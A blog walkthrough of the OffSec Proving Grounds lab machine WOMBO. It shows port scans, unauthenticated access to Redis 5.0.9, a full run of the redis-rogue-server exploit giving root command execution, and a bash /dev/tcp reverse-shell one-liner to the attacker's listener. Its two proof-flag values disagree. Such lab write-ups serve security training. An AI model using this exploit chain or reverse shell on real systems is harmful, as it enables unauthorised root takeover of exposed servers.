Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - WOMBO

·1898 words·9 mins·
OFFSEC PG PRACTICE REDIS
Table of Contents

Summary
#

On port 6379 is a Redis key-value store 5.0.9 service running. This version has a Remote Code Execution vulnerability, when exploited gives us initial access on the target as the root user.

Specifications
#

  • Name: WOMBO
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Easy
  • System overview: Linux wombo 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64 GNU/Linux
  • IP address: 192.168.105.69
  • OFFSEC provided credentials: None
  • HASH: local.txt: None
  • HASH: proof.txt:8af3c9e565a39b1bab511cf4c5b684c0

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir wombo && cd wombo && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 20 18:52 .
drwxrwxr-x 74 kali kali 4096 Sep 20 18:52 ..
drwxrwxr-x  2 kali kali 4096 Sep 20 18:52 enum
drwxrwxr-x  2 kali kali 4096 Sep 20 18:52 exploits
drwxrwxr-x  2 kali kali 4096 Sep 20 18:52 files
drwxrwxr-x  2 kali kali 4096 Sep 20 18:52 tools
drwxrwxr-x  2 kali kali 4096 Sep 20 18:52 uploads

## set bash variable
ip=192.168.105.69

## ping target to check if it's online
ping $ip

PING 192.168.105.69 (192.168.105.69) 56(84) bytes of data.
64 bytes from 192.168.105.69: icmp_seq=1 ttl=61 time=20.1 ms
64 bytes from 192.168.105.69: icmp_seq=2 ttl=61 time=20.9 ms
^C
--- 192.168.105.69 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 20.062/20.502/20.942/0.440 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.105.69:22
Open 192.168.105.69:80
Open 192.168.105.69:6379
Open 192.168.105.69:8080
Open 192.168.105.69:27017
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 18:55 CEST
Initiating Ping Scan at 18:55
Scanning 192.168.105.69 [4 ports]
Completed Ping Scan at 18:55, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:55
Completed Parallel DNS resolution of 1 host. at 18:55, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:55
Scanning 192.168.105.69 [5 ports]
Discovered open port 8080/tcp on 192.168.105.69
Discovered open port 80/tcp on 192.168.105.69
Discovered open port 22/tcp on 192.168.105.69
Discovered open port 6379/tcp on 192.168.105.69
Discovered open port 27017/tcp on 192.168.105.69
Completed SYN Stealth Scan at 18:55, 0.06s elapsed (5 total ports)
Nmap scan report for 192.168.105.69
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-20 18:55:56 CEST for 0s

PORT      STATE SERVICE    REASON
22/tcp    open  ssh        syn-ack ttl 61
80/tcp    open  http       syn-ack ttl 61
6379/tcp  open  redis      syn-ack ttl 61
8080/tcp  open  http-proxy syn-ack ttl 61
27017/tcp open  mongod     syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
           Raw packets sent: 9 (372B) | Rcvd: 6 (248B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp    open  ssh        syn-ack ttl 61
80/tcp    open  http       syn-ack ttl 61
6379/tcp  open  redis      syn-ack ttl 61
8080/tcp  open  http-proxy syn-ack ttl 61
27017/tcp open  mongod     syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,6379,8080,27017

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,6379,8080,27017 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT      STATE SERVICE    REASON         VERSION
22/tcp    open  ssh        syn-ack ttl 61 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 09:80:39:ef:3f:61:a8:d9:e6:fb:04:94:23:c9:ef:a8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGBXRhQCez7/IOdnHzLYdpVtWWRMN/7bUR/C3T/W6V9DwlKUS2AfdncLdLwqnx61jODFdXDrTdEdTAtK4MHuXt/UOLDXr1SOfUHYQbZd1rmpMaeB3qOKfoVP7NMp2Ga68kT/9NvBphakYXRWw4C7RS0N+4YWU/BjSyMTIdnhJX05lC5Uyljg7FliJ7d3J/CtF98I6Oo5u/Eb2/5BB45/1IuM6R7BGCDOpIs6po1FyEk8gFktbB+INGATdBPxvmAOX6G7m/R491a9/QtaF8wrgsjS3fQftoiW8vwcaom8Bmu94xZ9pZq0Dgt9VWQz241T5dGQrp57s6Djl/V83/qGFP
|   256 83:f8:6f:50:7a:62:05:aa:15:44:10:f5:4a:c2:f5:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLg0oQ1t4NCz+KWPtrCjgDf+qjW2Vb4oOc/eM21vT9rIPJa//rO0LFT8czDxcWFU9HMSEohfSm8emC4lShgGrY4=
|   256 1e:2b:13:30:5c:f1:31:15:b4:e8:f3:d2:c4:e8:05:b5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPS81xs7EU6k92rNFdmsDF7qcRDxDILJUeva18aKW1GV
80/tcp    open  http       syn-ack ttl 61 nginx 1.10.3
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.10.3
| http-methods: 
|_  Supported Methods: GET HEAD
6379/tcp  open  redis      syn-ack ttl 61 Redis key-value store 5.0.9
8080/tcp  open  http-proxy syn-ack ttl 61
|_http-title: Home | NodeBB
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 3 disallowed entries 
|_/admin/ /reset/ /compose
|_http-favicon: Unknown favicon MD5: 152FF7D5AE5BDB84B33D4DCA31EB7CD3
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     X-DNS-Prefetch-Control: off
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Referrer-Policy: strict-origin-when-cross-origin
|     X-Powered-By: NodeBB
|     set-cookie: _csrf=5OFzii9hedI0GxtvW_W_c4Yo; Path=/
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 11098
|     ETag: W/"2b5a-7JmmntT5QEouo86g/YDwUh6cWLI"
|     Vary: Accept-Encoding
|     Date: Sat, 20 Sep 2025 16:56:58 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en-GB" data-dir="ltr" style="direction: ltr;" >
|     <head>
|     <title>Not Found | NodeBB</title>
|     <meta name="viewport" content="width&#x3D;device-width, initial-scale&#x3D;1.0" />
|     <meta name="content-type" content="text/html; charset=UTF-8" />
|     <meta name="apple-mobile-web-app-capable" content="yes" />
|     <meta name="mobile-web-app-capable" content="yes" />
|     <meta property="og:site_n
|   GetRequest: 
|     HTTP/1.1 200 OK
|     X-DNS-Prefetch-Control: off
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Referrer-Policy: strict-origin-when-cross-origin
|     X-Powered-By: NodeBB
|     set-cookie: _csrf=vLHGpWNKXXbxD7Xp1hxTfCny; Path=/
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 18181
|     ETag: W/"4705-jgsFvfyQlgLRljJU+NmX1OvPzjU"
|     Vary: Accept-Encoding
|     Date: Sat, 20 Sep 2025 16:56:58 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en-GB" data-dir="ltr" style="direction: ltr;" >
|     <head>
|     <title>Home | NodeBB</title>
|     <meta name="viewport" content="width&#x3D;device-width, initial-scale&#x3D;1.0" />
|     <meta name="content-type" content="text/html; charset=UTF-8" />
|     <meta name="apple-mobile-web-app-capable" content="yes" />
|     <meta name="mobile-web-app-capable" content="yes" />
|     <meta property="og:site_name" content
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-DNS-Prefetch-Control: off
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Referrer-Policy: strict-origin-when-cross-origin
|     X-Powered-By: NodeBB
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Vary: Accept-Encoding
|     Date: Sat, 20 Sep 2025 16:56:58 GMT
|     Connection: close
|     GET,HEAD
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close
27017/tcp open  mongodb    syn-ack ttl 61 MongoDB 4.1.1 - 5.0
| mongodb-info: 
|   MongoDB Build info
|     gitVersion = 6883bdfb8b8cff32176b1fd176df04da9165fd67
|     storageEngines
|       2 = mmapv1
|       3 = wiredTiger
|       0 = devnull
|       1 = ephemeralForTest
|     allocator = tcmalloc
|     ok = 1.0
|     bits = 64
|     openssl
|       compiled = OpenSSL 1.1.0l  10 Sep 2019
|       running = OpenSSL 1.1.0l  10 Sep 2019
|     javascriptEngine = mozjs
|     version = 4.0.18
|     debug = false
|     maxBsonObjectSize = 16777216
|     buildEnvironment
|       distmod = debian92
|       cxx = /opt/mongodbtoolchain/v2/bin/g++: g++ (GCC) 5.4.0
|       linkflags = -pthread -Wl,-z,now -rdynamic -Wl,--fatal-warnings -fstack-protector-strong -fuse-ld=gold -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro
|       distarch = x86_64
|       target_arch = x86_64
|       target_os = linux
|       cc = /opt/mongodbtoolchain/v2/bin/gcc: gcc (GCC) 5.4.0
|       cxxflags = -Woverloaded-virtual -Wno-maybe-uninitialized -std=c++14
|       ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -Werror -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -fno-builtin-memcmp
|     modules
|     sysInfo = deprecated
|     versionArray
|       2 = 18
|       3 = 0
|       0 = 4
|       1 = 0
|   Server status
|     errmsg = command serverStatus requires authentication
|     code = 13
|     codeName = Unauthorized
|_    ok = 0.0
| mongodb-databases: 
|   errmsg = command listDatabases requires authentication
|   code = 13
|   codeName = Unauthorized
|_  ok = 0.0
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

6379/tcp  open  redis      syn-ack ttl 61 Redis key-value store 5.0.9

On port 6379 there is a Redis key-value store 5.0.9. We’re able to connect to this server.

## connect to the redis server
redis-cli -p 6379 -h $ip 
192.168.105.69:6379> 

## get more information about the server
192.168.105.69:6379> INFO
# Server
redis_version:5.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:85c881476bf91b2f
redis_mode:standalone
os:Linux 4.9.0-19-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.3.0
process_id:575
run_id:49c78f4997acd66548ede764aca1255e3f7a5fa6
tcp_port:6379
uptime_in_seconds:35804503
uptime_in_days:414
hz:10
configured_hz:10
lru_clock:13557652
executable:/usr/local/bin/redis-server
config_file:/etc/redis/redis.conf
<SNIP>

## exit the service
192.168.105.69:6379> exit

Searching online we can find: https://github.com/n0b0dyCN/redis-rogue-server. We clone this repository and run the exploit (perhaps multiple times to work). Once the question shows: [i]nteractive shell or [r]everse shell, enter i. Typing whoami shows we are the root user. So, let’s get a reverse shell as the root user.

## change directory
cd exploits

## clone repository locally
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
Cloning into 'redis-rogue-server'...
remote: Enumerating objects: 87, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 87 (delta 0), reused 1 (delta 0), pack-reused 83 (from 1)
Receiving objects: 100% (87/87), 245.56 KiB | 5.01 MiB/s, done.
Resolving deltas: 100% (19/19), done.

## change directory
cd redis-rogue-server

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## run exploit
python redis-rogue-server.py --rhost $ip --rport 6379 --lhost 192.168.45.189 --lport 80 --exp=exp.so -v
/home/kali/hk/offsec/pg/practice/wombo/exploits/redis-rogue-server/redis-rogue-server.py:11: SyntaxWarning: invalid escape sequence '\ '
  | ___ \       | (_)     | ___ \                       /  ___|
______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig

[info] TARGET 192.168.105.69:6379
[info] SERVER 192.168.45.189:80
[info] Setting master...
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$14\r\n192.168.45.189\r\n$2\r\n80\r\n'
[->] b'+OK\r\n'
[info] Setting dbfilename...
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n75de95e6d2b2aa002a9aec46425bc6e387f9e774\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$44320\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\xa6\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[info] Loading module...
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'-ERR Error loading the extension. Please check the server logs.\r\n'
[info] Temerory cleaning up...
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
[->] b'+OK\r\n'
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$11\r\nrm ./exp.so\r\n'
[->] b'$0\r\n\r\n'
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] whoami
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n'
[->] b'$5\r\nroot\n\r\n'
[>>] root

## setup a listener on an already open port
nc -lvnp 8080
listening on [any] 8080 ...

## run reverse shell command in interactive shell
bash -c 'sh -i >& /dev/tcp/192.168.45.189/8080 0>&1';

## catch the reverse shell
nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.105.69] 52150
sh: 0: can't access tty; job control turned off
# 

## print the current user
# whoami
root

## print `proof.txt`
# cat /root/proof.txt
5df553724c3bf882188e3fef96e99901

References
#

[+] https://github.com/n0b0dyCN/redis-rogue-server
[+] https://github.com/n0b0dyCN/redis-rogue-server.git

Related

OFFSEC - Proving Grounds - BLACKGATE
·1478 words·7 mins
OSCP OFFSEC PG PRACTICE REDIS PWNKIT
Redis 4.0.14 on port 6379 exploited for initial access. linpeas.sh reveals pwnkit vulnerability (CVE-2021-4034) which leads to privilege escalation.
OFFSEC - Proving Grounds - BUNYIP
·3095 words·15 mins
OFFSEC PG PRACTICE PWNKIT
S3cur3 r3pl application on port 8000 is vulnerable to MD5 length extension, exploiting this gives initial access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - GROOVE
·1418 words·7 mins
OFFSEC PG PRACTICE CHURCHCRM SQLMAP HASHCAT
ChurchCRM 4.5.1 on port 80 has weak credentials. Using an SQL injection via sqlmap reveals the root hash. Cracking it grants root access.
OFFSEC - Proving Grounds - SPAGHETTI
·2624 words·13 mins
OFFSEC PG PRACTICE IRC PYBOT PWNKIT
IRC server on port 6667, message to bot gives access to source code. Analyzing code gives code exeecution and initial access. Pwnkit exploit used to escalate to root.
OFFSEC - Proving Grounds - DEPLOYER
·3782 words·18 mins
OFFSEC PG PRACTICE FTP PHP PHP SERIALIZE DOCKER DOCKER BUILD
Anonymous FTP on port 21 gives site config and PHP code. Exploit LFI, drop PHP shell, gain initial access. Upload SSH key, use sudo docker build to get /opt/id_rsa.bak and escalate to root.
OFFSEC - Proving Grounds - CONVERTEX
·2078 words·10 mins
OFFSEC PG PRACTICE XXE SELENIUM CHISEL
XXE in web application on port 5000 and leaks gustavo SSH private key for initial access. Forward selenium port 4444 with chisel, exploit with Python script to gain root.